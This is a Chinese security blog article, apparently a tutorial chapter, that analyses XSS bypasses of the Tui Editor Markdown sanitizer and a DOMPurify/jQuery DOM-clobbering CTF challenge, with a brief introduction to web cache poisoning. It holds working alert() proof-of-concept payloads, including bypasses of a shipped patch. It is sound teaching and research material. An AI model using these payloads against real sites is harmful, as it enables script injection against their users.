前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC以及 如何防御和修复[含C++;javascript;html源码详解](5)———— 作者:LJS

2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC以及 如何防御和修复[含C++;javascript;html源码详解](5)———— 作者:LJS

作者头像
盛透侧视攻城狮
发布2024-10-21 20:39:02
发布2024-10-21 20:39:02
26700
代码可运行
举报
运行总次数:0
代码可运行

7.14 Tui Editor的bypass之路

TOAST Tui Editor是一款富文本Markdown编辑器,用于给HTML表单提供Markdown和富文本编写支持。最近我们在工作中需要使用到它,相比于其他一些Markdown编辑器,它更新迭代较快,功能也比较强大。另外,它不但提供编辑器功能,也提供了渲染功能(Viewer),也就是说编辑和显示都可以使用Tui Editor搞定。

Tui Editor的Viewer功能使用方法很简单:

代码语言:javascript
代码运行次数:0
运行
复制
// 导入 Toast UI Editor 的 Viewer 组件
import Viewer from '@toast-ui/editor/dist/toastui-editor-viewer';
// 导入 Viewer 组件的样式文件
import '@toast-ui/editor/dist/toastui-editor-viewer.css';

// 创建一个 Viewer 实例
const viewer = new Viewer({
    // 指定 Viewer 要渲染到的 DOM 元素,这里通过选择器找到 id 为 'viewer' 的元素
    el: document.querySelector('#viewer'),
    // 设置 Viewer 的高度为 600px
    height: '600px',
    // 设置 Viewer 的初始值为 Markdown 格式的标题
    initialValue: `# Markdown`
});

调用后,Markdown会被渲染成HTML并显示在#viewer的位置。那么我比较好奇,这里是否会存在XSS。

在Markdown编辑器的预览(Preview)位置也是使用Viewer,但是大部分编辑器的预览功能即使存在XSS也只能打自己(self-xss),但Tui Editor将预览功能提出来作为一个单独的模块,就不仅限于self了。

7.14.1 理解渲染流程

代码审计第一步,先理解整个程序的结构与工作流程,特别是处理XSS的部分。

常见的Markdown渲染器对于XSS问题有两种处理方式:

在渲染的时候格外注意,在写入标签和属性的时候进行实体编码

渲染时不做任何处理,渲染完成以后再将整个数据作为富文本进行过滤

相比起来后一种方式更加安全(它的安全主要取决于富文本过滤器的安全性)。前一种方式的优势是,不会因为二次过滤导致丢失一些正常的属性,另外少了一遍处理效率肯定会更高,它的缺点是一不注意就可能出问题,另外也不支持直接在Markdown里插入HTML。

对,Markdown里是可以直接插入HTML标签的,可以将Markdown理解为HTML的一种子集。

Tui Editor使用了第二种方式,我在他代码中发现了一个默认的HTML sanitizer,在用户没有指定自己的sanitizer时将使用这个内置的sanitizer:https://github.com/nhn/tui.editor/blob/48a01f5/apps/editor/src/sanitizer/htmlSanitizer.ts

我的目标就是绕过这个sanitizer来执行XSS。代码不多,总结一下大概的过滤过程是

先正则直接去除注释与onload属性的内容

将上面处理后的内容,赋值给一个新创建的div的innerHTML属性,建立起一颗DOM树

用黑名单删除掉一些危险DOM节点,比如iframe、script等

用白名单对属性进行一遍处理,处理逻辑是

  • 只保留白名单里名字开头的属性
  • 对于满足正则/href|src|background/i的属性,进行额外处理

处理完成后的DOM,获取其HTML代码返回

7.14.2 属性白名单绕过

弄清楚了处理过程,我就开始进行绕过尝试了。

这个过滤器的特点是,标签名黑名单,属性名白名单。on属性不可能在白名单里,所以我首先想到找找那些不需要属性的Payload,或者属性是白名单里的Payload,比如:

代码语言:javascript
代码运行次数:0
运行
复制
<script>alert(1)</script>
<iframe src="javascript:alert(1)">
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
<form><input type=submit formaction=javascript:alert(1) value=XSS>
<form><button formaction=javascript:alert(1)>XSS
<form action=javascript:alert(1)><input type=submit value=XSS>
<a href="javascript:alert(1)">XSS</a>

比较可惜的是,除了a标签外,剩余的标签全在黑名单里。a这个常见的payload也无法利用,原因是isXSSAttribute函数对包含href、src、background三个关键字的属性进行了特殊处理:

代码语言:javascript
代码运行次数:0
运行
复制
const reXSSAttr = /href|src|background/i;
const reXSSAttrValue = /((java|vb|live)script|x):/i;
const reWhitespace = /[ \t\r\n]/g;

function isXSSAttribute(attrName: string, attrValue: string) {
  return attrName.match(reXSSAttr) && attrValue.replace(reWhitespace, '').match(reXSSAttrValue);
}

首先将属性值中的空白字符都去掉,再进行匹配,如果发现存在javascript:关键字就认为是XSS。

这里处理的比较粗暴,而且也无法使用HTML编码来绕过关键字——原因是,在字符串赋值给innerHTML的时候,HTML属性中的编码已经被解码了,所以在属性检查的时候看到的是解码后的内容。

所以,以下三类Payload会被过滤:

代码语言:javascript
代码运行次数:0
运行
复制
<a href="javasc ript:alert(1)">XSS</a>
<a href="javasc&Tab;ript:alert(1)">XSS</a>
<a href="jav&#97;script:alert(1)">XSS</a>

又想到了svg,svg标签不在黑名单中,而且也存在一些可以使用伪协议的地方,比如:

代码语言:javascript
代码运行次数:0
运行
复制
<svg><a xlink:href="javascript:alert(1)"><text x="100" y="100">XSS</text></a>

因为reXSSAttr这个正则并没有首尾定界符,所以只要属性名中存在href关键字,仍然会和a标签一样进行检查,无法绕过。

此时我想到了svg的use标签,use的作用是引用本页面或第三方页面的另一个svg元素,比如:

代码语言:javascript
代码运行次数:0
运行
复制
<svg>
    <circle id="myCircle" cx="5" cy="5" r="4" stroke="blue"/>
    <use href="#myCircle"></use>
</svg>

use的href属性指向那个被它引用的元素。但与a标签的href属性不同的是,use href不能使用JavaScript伪协议,但可以使用data:协议。

比如:

代码语言:javascript
代码运行次数:0
运行
复制
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>

data协议中的文件必须是一个完整的svg,而且整个data URL的末尾,需要有一个锚点#x来指向内部这个被引用的svg。

对于XSS sanitizer来说,这个Payload只有svg、use两个标签和href一个属性,但因为use的引用特性,所以data协议内部的svg也会被渲染出来。

但是还是由于前面说到的isXSSAttribute函数,href属性中的javascript:这个关键字仍然会被拦截。解决方法有两种。

base64编码绕过

既然是data:协议,那自然能让人想到base64编码。但这里要注意的是,URL锚点#x是在编码外的,不能把这部分编码进base64,否则无法引用成功。

最后构造的Payload是:

代码语言:javascript
代码运行次数:0
运行
复制
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyAKICAgIHhtbG5zOnhsaW5rPSdodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rJyB3aWR0aD0nMTAwJyBoZWlnaHQ9JzEwMCc+PGEgeGxpbms6aHJlZj0namF2YXNjcmlwdDphbGVydCgxKSc+PHJlY3QgeD0nMCcgeT0nMCcgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnIC8+PC9hPjwvc3ZnPg#x"></use></svg>
ISO-2022-JP编码绕过

在当年浏览器filter还存在的时候,曾可以通过ISO-2022-KR、ISO-2022-JP编码来绕过auditor:浏览器安全一 / Chrome XSS Auditor bypass | 离别歌

ISO-2022-JP编码在解析的时候会忽略\x1B\x28\x42,也就是%1B%28B

在最新的Chrome中, ISO-2022-JP仍然存在并可以使用,而data:协议也可以指定编码:RFC 2397 - The "data" URL scheme

两者一拍即合,构造出的Payload为:

代码语言:javascript
代码运行次数:0
运行
复制
<svg><use href="data:image/svg+xml;charset=ISO-2022-JP,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javas%1B%28Bcript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>

这两种绕过方式,都基于svg和use,缺点就是需要点击触发,在实战中还是稍逊一筹,所以我还需要想到更好的Payload。

7.14.3 基于DOM Clobbering的绕过尝试

这个代码是一种很典型地可以使用Dom Clobbering来利用的代码。关于Dom Clobbering的介绍,可以参考下面这两篇文章:

DOM clobbering | Web Security Academy

https://xz.aliyun.com/t/7329

简单来说,对于一个普通的HTML标签来说,当el是某个元素时,el.attributes指的是它的所有属性,比如这里的href和target:

代码语言:javascript
代码运行次数:0
运行
复制
<a href="#link" target="_blank">test</a>

这也是过滤器可以遍历el.attributes并删除白名单外的属性的一个理论基础。

但Dom Clobbering是一种对DOM节点属性进行劫持的技术。比如下面这段HTML代码,当el是form这个元素的时候,el.attributes的值不再是form的属性,而是<input>这个元素

代码语言:javascript
代码运行次数:0
运行
复制
<form><input id="attributes" /></form>

这里使用一个id为attributes的input元素劫持了原本form的attributes,el.attributes不再等于属性列表,自然关于移除白名单外属性的逻辑也就无从说起了。这就是Dom Clobbering在这个小挑战里的原理。

回到Tui Editor的案例。Tui Editor的sanitizer在移除白名单外属性之前,还移除了一些黑名单的DOM元素,其中就包含<form>

在Dom Clobbering中,<form>是唯一可以用其子标签来劫持他本身属性的DOM元素(HTMLElement),但是它被黑名单删掉了。来看看删除时使用的removeUnnecessaryTags函数:

代码语言:javascript
代码运行次数:0
运行
复制
// 定义一个函数,用于在指定的元素内查找匹配选择器的节点,并以数组形式返回
function findNodes(element: Element, selector: string) {
    // 转换查询到的节点列表为数组
    const nodeList = toArray(element.querySelectorAll(selector));

    // 如果找到了匹配的节点,则返回节点数组
    if (nodeList.length) {
        return nodeList;
    }

    // 如果未找到匹配的节点,则返回空数组
    return [];
}

// 定义一个函数,用于移除指定的节点
function removeNode(node: Node) {
    // 如果节点有父节点,则从其父节点中移除该节点
    if (node.parentNode) {
        node.parentNode.removeChild(node);
    }
}

// 定义一个函数,用于移除指定 HTML 元素中的不必要的标签
function removeUnnecessaryTags(html: HTMLElement) {
    // 调用 findNodes 函数,查找所有需要移除的标签节点
    const removedTags = findNodes(html, tagBlacklist.join(','));

    // 遍历找到的所有需要移除的节点,并逐一调用 removeNode 函数进行移除
    removedTags.forEach((node) => {
        removeNode(node);
    });
}

思考了比较久这三个函数是否可以用Dom Clobbering利用。其中最可能被利用的点是删除的那个操作:

代码语言:javascript
代码运行次数:0
运行
复制
if (node.parentNode) {
    node.parentNode.removeChild(node);
}

我尝试用下面这个代码劫持了node.parentNode,看看效果:

代码语言:javascript
代码运行次数:0
运行
复制
<form><input id=parentNode></form>

经过调试发现,这样的确可以劫持到node.parentNode,让node.parentNode不再是node的父节点,而变成他的子节点——<input>

但是劫持后,执行removeChild操作时,因为这个函数内部有检查,所以会爆出Failed to execute 'removeChild' on 'Node': The node to be removed is not a child of this node.的错误:

另外,Dom Clobbering也无法用来劫持函数,所以这个思路也无疾而终了。

最终我还是没找到利用Dom Clobbering来绕过Tui Editor的XSS sanitizer的方法,如果大家有好的想法,可以下来和我交流。

7.14.4基于条件竞争的绕过方式

到现在,我仍然没有找到一个在Tui Editor中执行无交互XSS的方法。

这个时候我开始翻history,我发现就在不到一个月前,Tui Editor曾对HTML sanitizer进行了修复,备注是修复XSS漏洞,代码改动如下:

在将字符串html赋值给root.innerHTML前,对这个字符串进行了正则替换,移除其中的onload=关键字。

我最开始不是很明白这样做的用意,因为onload这个属性在后面白名单移除的时候会被删掉,在这里又做一次删除到底意义何在。后来看到了单元测试的case并进行调试以后,我才明白了原因。

在Tui Editor的单元测试中增加了这样一个case:

代码语言:javascript
代码运行次数:0
运行
复制
<svg><svg onload=alert(1)>

平平无奇,但我将其放到未修复的HTML sanitizer中竟然绕过了属性白名单,成功执行。这就是条件竞争。

这里所谓的“条件竞争”,竞争的其实就是这个onload属性在被放进DOM树中开始,到在后续移除函数将其移除的中间这段时间——只要这段代码被放进innerHTML后立即触发onload,这样即使后面它被移除了,代码也已经触发执行了。

那么想要找到这样一个Payload,它需要满足下面两个条件:

在代码被放进innerHTML的时候会被触发

事件触发的时间需要在被移除以前

第一个条件很好满足,比如最常用的XSS Payload <img src=1 onerror=alert(1)>,它被插入进innerHTML的时候就可以触发,而无需等待这个root节点被写入页面:

代码语言:javascript
代码运行次数:0
运行
复制
const root = document.createElement('div');
root.innerHTML = `<img src=1 onerror=alert(1)>`

相比起来,<svg onload=alert(1)><script>alert(1)</script>这两个Payload就无法满足这一点。

<img>的Payload是无法满足第二个条件的,因为onerror是在src加载失败的时候触发,中间存在IO操作时间比较久,所以肯定无法在onerror被移除前完成。相对的,下面这两个Payload可以满足条件:

代码语言:javascript
代码运行次数:0
运行
复制
<svg><svg onload=alert(1)>
<details open ontoggle=alert(1)>

7.14.5Tui Editor补丁绕过

那么很幸运,<details open ontoggle=alert(1)>这个Payload满足了两个条件,成为可以竞争过remove的一个Payload。而Tui Editor因为只考虑了双svg的Payload,所以可以使用它轻松绕过最新的补丁,构造一个无交互XSS。

那么我是否还能再找到一种绕过方式呢?

回看Tui Editor针对<svg><svg onload=alert(1)>这个Payload的修复方式:

代码语言:javascript
代码运行次数:0
运行
复制
// 匹配 HTML 标签名的正则表达式,必须以字母开头,可以包含字母、数字和短横线
export const TAG_NAME = '[A-Za-z][A-Za-z0-9-]*';

// 匹配带有 onload 属性的标签正则表达式
const reXSSOnload = new RegExp(`(<${TAG_NAME}[^>]*)(onload\\s*=)`, 'ig');

// 清理 HTML 注释的正则表达式
const reComment = /<!--[\s\S]*?-->/g;

// 对传入的 HTML 字符串进行安全性处理
export function sanitizeHTML(html: string) {
    // 创建一个虚拟的 div 元素作为根元素
    const root = document.createElement('div');

    // 如果 html 是字符串类型
    if (typeof html === 'string') {
        // 去除所有的 HTML 注释
        html = html.replace(reComment, '');
        
        // 去除所有带有 onload 属性的标签中的 onload 属性,防止 XSS 攻击
        html = html.replace(reXSSOnload, '$1');

        // 将处理后的 html 字符串赋值给虚拟的 div 元素的 innerHTML,这会触发浏览器解析和渲染
        root.innerHTML = html;
    }

    // 此时 root 包含了经过处理的安全的 HTML 结构

    // 可以继续进行其他操作,如进一步处理 root 中的 DOM 结构

    // 返回处理后的 DOM 结构或其他操作结果
    return root;
}

增加了一个针对onload的正则(<[A-Za-z][A-Za-z0-9-]*[^>]*)(onload\\s*=),将匹配上这个正则的字符串中的onload=移除。

这个正则是有问题的,主要问题有2个,我根据这两个问题构造了3种绕过方法。

贪婪模式导致的绕过

我发现这个正则在标签名[A-Za-z][A-Za-z0-9-]*的后面,使用了[^>]*来匹配非>的所有字符。我大概明白他的意思,他就是想忽略掉所有不是onload的字符,找到下一个onload。

但是还记得正则里的贪婪模式吧,默认情况下,正则引擎会尽可能地多匹配满足当前模式的字符,所以,如果此时有两个onload=,那么这个[^>]*将会匹配到第二个,而将它删除掉,而第一个onload=将被保留。

所以,构造如下Payload将可以绕过补丁:

代码语言:javascript
代码运行次数:0
运行
复制
<svg><svg onload=alert(1) onload=alert(2)>
替换为空导致的问题

那么如果将贪婪模式改成非贪婪模式,是否能解决问题呢?

代码语言:javascript
代码运行次数:0
运行
复制
(<[A-Za-z][A-Za-z0-9-]*[^>]*?)(onload\\s*=)

看看这个正则,会发现它分为两个group,(<[A-Za-z][A-Za-z0-9-]*[^>]*?)(onload\\s*=),在用户的输入匹配上时,第二个group将会被删除,保留第一个group,也就是$1

所以,即使改成非贪婪模式,删除掉的是第一个onload=,第二个onload=仍然会保留,所以无法解决问题,构造的Payload如下:

代码语言:javascript
代码运行次数:0
运行
复制
<p><svg><svg onload=onload=alert(1)></svg></svg></p>
字符匹配导致的问题

回看这个[^>]*,作者的意思是一直往后找onload=直到标签闭合的位置为止,但是实际上这里有个Bug,一个HTML属性中,也可能存在字符>,它不仅仅是标签的定界符。

那么,如果这个正则匹配上HTML属性中的一个>,则会停止向后匹配,这样onload=也能保留下来。Payload如下:

代码语言:javascript
代码运行次数:0
运行
复制
<svg><svg x=">" onload=alert(1)>

三种Payload都可以用于绕过最新版的Tui Editor XSS过滤器,再加上前面的<details open ontoggle=alert(1)>,总共已经有4个无需用户交互的POC了。

第一种,用户必须交互,不是最佳

1.利用svg中的use属性,base64编码,绕过javascript关键字

2.利用svg中use属性,charset=ISO-2022-JP 加上chrome中的bug忽略相应字符,导致javascript关键字消失

第二种 无须用户交互

未打补丁,条件竞争有两种解法

3.1 双svg条件竞争<svg><svg onload>

3.2 details 异步事件ontoggle,在黑名单删除details标签前,就已经将ontoggle事件加载进事件队列中,即使删除也会执行.

第三种 绕过补丁中的正则表达式

绕过贪婪匹配

由于贪婪匹配一直会匹配到没有匹配的元素为止,利用两个onload,将会忽略第一个onlad

绕过非贪婪匹配

由于非贪婪只匹配第一个元素,导致第一个onload被删除,第二个onload得以保留

正则表达式bug绕过(严格来说,不算bug,是html的特性)遇到>就结束

7.14.6 总结

总结一下,Tui Editor的Viewer使用自己编写的HTML sanitizer来过滤Markdown渲染后的HTML,而这个sanitizer使用了很经典的先设置DOM的innerHTML,再过滤再写入页面的操作。

我先通过找到白名单中的恶意方法构造了需要点击触发的XSS Payload,又通过条件竞争构造了4个无需用户交互的XSS Payload。其中,后者能够成功的关键在于,一些恶意的事件在设置innerHTML的时候就瞬间触发了,即使后面对其进行了删除操作也无济于事。

虽然作者已经注意到了这一类绕过方法,并进行了修复,但我通过审计它的修复正则,对其进行了绕过。

  • 7.15 Web缓存投毒实战
  • 摘要
  • Web缓存投毒一直是一个难以捉摸的漏洞,是一种“理论上”存在,可吓唬开发人员去乖乖修补,但任何人无法实际利用的问题。
  • 在本文中,我将向您展示,如何通过使用深奥的网络功能将其缓存转换为漏洞并利用传送系统来破坏网站,受众是任何能在请求访问其主页过程中制造错误的人。
  • 我将通过漏洞来说明和开发这种技术。这些漏洞使我能够控制众多流行的网站和框架,从简单的单一请求攻击发展到劫持JavaScript,跨越缓存层,颠覆社交媒体和误导云服务的复杂漏洞利用链。我将讨论防御缓存投毒的问题,并发布推动该研究开源的Burp Suite社区扩展。
  • 这篇文章也会作为 可打印的pdf 文件提供,而且它是我在美国黑帽子大会上演示文稿
  • 核心概念
  • 缓存101
  • 要掌握缓存投毒,我们需要快速了解缓存的基本原理。Web缓存位于用户和应用程序服务器之间,用于保存和提供某些响应的副本。在下图中,我们可以看到三个用户接连获取相同的资源:
image.png
image.png
  • 缓存旨在通过减少延迟来加速页面加载,还可以减少应用程序服务器上的负载。一些公司使用类似Varnish的软件来托管他们的缓存,而其他公司选择依赖Cloudflare这样的内容交付网络(CDN),将缓存分散在各个地理位置。此外,一些流行的Web应用程序和框架(如Drupal)具有内置缓存功能。
  • 还有其他类型的缓存,例如客户端浏览器缓存和DNS缓存,但它们不是本文的研究重点。
  • 缓存键
  • 缓存的概念可能听起来简洁明了,但它隐藏了一些风险。每当缓存收到对资源的请求时,它需要确定它是否已经保存了这个确切资源的副本,并且可以使用该副本进行回复,或者是否需要将请求转发给应用程序服务器。
  • 确定两个请求是否正在尝试加载相同的资源可能很棘手; 通过请求逐字节匹配的方法是完全无效的,因为HTTP请求充满了无关紧要的数据,例如浏览器发出的请求:
article2.png
article2.png
  • 缓存使用缓存键来标识一个资源,缓存键一般由请求中的一部分内容组成。在上面的请求中,缓存键中包含的值用橙色突出显示,这个缓存键是非常常用的。
  • 这意味着缓存认为以下两个请求是等效的,并使用从第一个请求缓存的响应来响应第二个请求:
article3.png
article3.png
article4.png
article4.png
  • 因此,该页面将错误的语言格式提供给第二位访问者。这暗示了一个问题 ——任何非缓存键内容的差异,都可能被存储并提供给其他用户。理论上,站点可以使用“Vary”响应头来指定请求头中哪些部分应该作为缓存键。在实际中,Vary协议头很少使用,像Cloudflare这样的CDN甚至完全忽略它,人们甚至没有意识到他们的应用程序支持基于任何协议头的输入。
  • 这会导致许多意想不到的破坏,特别是当有人故意开始利用它时,它的危害才会真正开始体现
  • 缓存投毒
  • Web缓存投毒的目的是发送导致有危害响应的请求,该响应将保存在缓存中并提供给其他用户。
image.png
image.png
  • 在本文中,我们将使用非缓存键部分的输入(如HTTP请求)来使缓存中毒。当然,这不是缓存投毒的唯一方法 (您也可以使用HTTP响应拆分和 请求走私 的方法),但我自认为自己的方法最好。请注意,不要混淆Web缓存投毒与 Web 缓存欺骗它们是不同类型的攻击。
  • 方法
  • 我们将使用以下方法查找缓存投毒漏洞:
image.png
image.png
  • 我并不想深入解释这一点,下面将快速概述再演示它如何应用于真实的网站。
  • 第一步:识别非缓存键部分的输入。手动执行此操作非常繁琐,因此我开发了一个名为Param Miner的开源Burp Suite扩展,通过猜测header/cookie的名称来自动执行这些步骤,并观察它们是否对应用程序的响应产生影响。
  • 找到非缓存键部分的输入后,接下来的步骤是评估您可以对它做多少破坏,然后尝试将其存储在缓存中。如果失败,则您需要更好地了解缓存的工作方式,并且在重试之前,搜索可缓存的目标页面。然而页面是否被高速缓存基于多种因素,包括文件扩展名,内容类型,路由,状态代码和响应头。
  • 缓存的响应可能会忽略你的输入,因此如果您尝试手动检测非缓存键部分,则“破坏缓存”是很重要的。如果加载了Param Miner,就可以通过向查询字符串添加值为$ randomplz的参数,确保每个请求都具有唯一的缓存键
  • 检测实时网站时,因为缓存响应而意外的使其他访问者中毒是一种永久性危害Param Miner通过向来自Burp的所有出站请求添加“破坏缓存”来缓解这种情况此缓存共享器具有固定值,因此您可以自己观察缓存行为,而不会影响其他用户。
  • 实例探究
  • 让我们来看看该方法应用于真实网站时会发生什么。像往常一样,我只针对对研究人员具有友好安全策略的网站。这里讨论的所有漏洞都已被报告和修补,但由于“私人”需要,我被迫编写了一些漏洞利用程序。
  • 其中许多案例研究在非缓存键部分的输入中利用了XSS等辅助漏洞,重要的是要记住,如果没有缓存投毒,这些漏洞是无用的,因为没有可靠的方法强制其他用户在跨域请求上发送自定义协议头。它们因此容易被找到。

7.16 World War 3

分析代码:

代码语言:javascript
代码运行次数:0
运行
复制
<!-- Challenge -->
<div>
    <h4>Meme Code</h4>
    <!-- 文本框,用于显示生成的迷因代码 -->
    <textarea class="form-control" id="meme-code" rows="4"></textarea>
    <!-- 用于显示通知的 div -->
    <div id="notify"></div>
</div>

<script>
    /* Utils */

    // escape 函数:用于转义特殊字符
    const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');

    // memeTemplate 函数:生成迷因的 HTML 模板
    const memeTemplate = (img, text) => {
        return (
            `<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');` +
            `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}` +
            `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;` +
            `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>` +
            `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`
        );
    }

    // memeGen 函数:生成迷因并显示通知
    const memeGen = (that, notify) => {
        if (text && img) {
            // 生成迷因的 HTML 模板
            template = memeTemplate(img, text);

            // 如果需要通知,则生成带有通知的 HTML 代码
            if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`);
            }

            // 在1秒后更新页面状态
            setTimeout(_ => {
                $('#status').remove();  // 移除状态元素
                notify ? ($('#notify').html(html)) : '';  // 如果有通知,则显示通知
                $('#meme-code').text(template);  // 在文本框中显示生成的迷因代码
            }, 1000);
        }
    }
</script>

<script>
    /* Main */

    // 初始化变量
    let notify = false;  // 是否显示通知
    let text = new URL(location).searchParams.get('text');  // 从 URL 参数中获取文本
    let img = new URL(location).searchParams.get('img');  // 从 URL 参数中获取图片地址

    if (text && img) {
        // 如果文本和图片地址都存在,则生成页面内容
        document.write(
            `<div class="alert alert-primary" role="alert" id="status">` +
            `<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">` +  // 加载图片时调用 memeGen 函数
            `Creating meme... (${DOMPurify.sanitize(text)})</div>`
        );
    } else {
        // 如果文本和图片地址不存在,则使用默认的迷因模板
        $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'));
    }
</script>

可控的输入的点有两个textimg

代码语言:javascript
代码运行次数:0
运行
复制
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')

img作为img标签的src属性被写入,且被过滤了关键符号。

代码语言:javascript
代码运行次数:0
运行
复制
<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">

const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');

text作为文本被渲染,渲染前都经过一次DOMPurify.sanitize处理

代码语言:javascript
代码运行次数:0
运行
复制
//part1
document.write(
...
Creating meme... (${DOMPurify.sanitize(text)})
)

//part2 
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)

notify ? ($('#notify').html(html)) : ''

7.16.1 DOMpurify bypass via Jquery.html()

乍一看经过DOMPurify后的这些交互点都很安全,但是使用html()解析会存在标签逃逸问题。

两种解析html的方式:jquery.html&innerhtmlinnerHTML是原生js的写法,Jqury.html()也是调用原生的innerHTML方法,但是加了自己的解析规则(后文介绍)。

关于两种方式:Jquery.html()innerHTMl的区别我们用示例来看。

对于innerHTML:模拟浏览器自动补全标签,不处理非

代码语言:javascript
代码运行次数:0
运行
复制
<style>
    <style>
</style>
<script>alert(1337)//

法标签。同时,<style>标签中不允许存在子标签(style标签最初的设计理念就不能用来放子标签),如果存在会被当作text解析。因此<style><style/><script>alert(1337)//会被渲染如下

代码语言:javascript
代码运行次数:0
运行
复制
<style>
    <style/><script>alert(1337)//
</style>

对于Jqury.html(),最终对标签的处理是在htmlPrefilter()中实现:jquery-src,其后再进行原生innerHTML的调用来加载到页面。

代码语言:javascript
代码运行次数:0
运行
复制
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^/>x20trnf]*)[^>]*)/>/gi

jQuery.extend( {
    htmlPrefilter: function( html ) {
        return html.replace( rxhtmlTag, "<$1></$2>" );
    }
    ...
})

tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];

有意思的是,这个正则表达式在匹配<*/>之后会重新生成一对标签(区别于直接调用innerHTML)

所以相同的语句<style><style/><script>alert(1337)//则会被解析成如下形式,成功逃逸<script>标签。

代码语言:javascript
代码运行次数:0
运行
复制
<style>
    <style>
</style>
<script>alert(1337)//

我们知道DOMPurify的工作机制是将传入的payload分配给元素的innerHtml属性,让浏览器解释它(但不执行),然后对潜在的XSS进行清理。由于DOMPurify在对其进行innerHtml处理时,script标签被当作style标签的text处理了,所以DOMPurify不会进行清洗(因为认为这是无害的payload),但在其后进入html()时,这个无害payload就能逃逸出来一个有害的script标签从而xss。

7.16.2 DOM-clobbering

第二个考点是要覆盖变量notify,只有在notify不为false的时候才能顺利进入html()方法

代码语言:javascript
代码运行次数:0
运行
复制
let notify = false;

document.write(`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`)

const memeGen = (that, notify) => {
        if (notify) {
                html = (`${DOMPurify.sanitize(text)}`)
            }
        ...
        $('#notify').html(html)
}

首先尝试用DOM-clobbering创造一个id为notify的变量,但是这种方式不允许覆盖已经存在的变量。

代码语言:javascript
代码运行次数:0
运行
复制
<html>
<img id=notify>
<img src="" onerror="memeGen(notify)">

<script>
const memeGen = (notify) =>{
    consol.log(notify);  //false
}

let notify = false;
</script>
</html>

不过我们依然可以借助标签的name属性值,为document对象创造一个变量document.notify,熟悉dom-clobbing的都很了解这种方式也常用来覆盖document的各种属性/方法。然而这道题不需要覆盖什么,我们就先把它当作一种创造变量的手段,后文再讲。我们先看简单了解一下JS的作用域

7.16.3 JS作用域&作用域链

在JS的函数中,一个变量是否可访问要看它的作用域(scope),变量的作用域有全局作用域和局部作用域(函数作用域)两种,这里举个最简单的例子如下

代码语言:javascript
代码运行次数:0
运行
复制
function init() {
    var inVariable = "local";
}
init();
console.log(inVariable); //Uncaught ReferenceError: inVariable is not defined

这就是因为函数内部用var声明的inVariaiable属于局部作用域范畴,在全局作用域没有声明。我们可以这样理解:作用域就是一个独立的地盘,让变量不会外泄、暴露出去。也就是说作用域最大的用处就是隔离变量,不同作用域下同名变量不会有冲突

在寻找一个变量可访问性时根据作用域链来查找的,作用域链中的下一个变量对象来自包含(外部)环境,而再下一个变量对象则来自下一个包含环境。这样,一直延续到全局执行环境;全局执行环境的变量对象始终都是作用域链中的最后一个对象。

而在Javascript event handler(时间处理程序)中,也就是onxx事件中,scope chain的调用就比较有意思了。它会先去判断当前的scope是否有局部变量notify,若不存在向上查找window.document.notify,仍不存在继续向上到全局执行环境即window.notify为止。

这样说起来可能有点绕,我们来看下面这个例子就明白了

代码语言:javascript
代码运行次数:0
运行
复制
<img src="" onerror="console.log(nickname)"> //pig
<img src="" onerror="var nickname='dog';console.log(nickname)"> //dog

<script>
window.document.nickname = 'pig';
window.nickname = 'cat';
<script>

打印的结果分别为pigdog。原因就是在第二个img标签中,onerror的上下文存在局部作用域的nickname变量,不用再向上查找了。

同时注意到题目触发memeGen函数的方式也恰好是写在event handler中—即onload内。所以污染了document.notify就相当于污染了将要传递的实参notify,这也就是为什么需要之前的dom-clobbing。

其实这也是一开始我们可以发现题目给出的代码有一处是 text & img

代码语言:javascript
代码运行次数:0
运行
复制
const memeGen = (that, notify) => {
  if (text && img) {
    template = memeTemplate(img, text);
    ...
  }
};

memeGen函数在函数内找不到text,onload 的作用域也找不到text,就会去 script下面找,而多个 script 属于同一个作用域,所以对于函数当中的 text 以及 img ,它是在下一块 JS 代码段定义的

代码语言:javascript
代码运行次数:0
运行
复制
<script>
let notify = false;
let text = new URL(location).searchParams.get("text");
let img = new URL(location).searchParams.get("img");
  ...
</script>

综上所述,配合我们之前的内容,最终 payload 如下:

代码语言:javascript
代码运行次数:0
运行
复制
<img name=notify><style><style/><script>alert()//

最终传参:

代码语言:javascript
代码运行次数:0
运行
复制
img=valid_img_url&text=<img name%3dnotify><style><style%2F><script>alert()%2F%2F
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-10-21,如有侵权请联系 cloudcommunity@tencent.com 删除

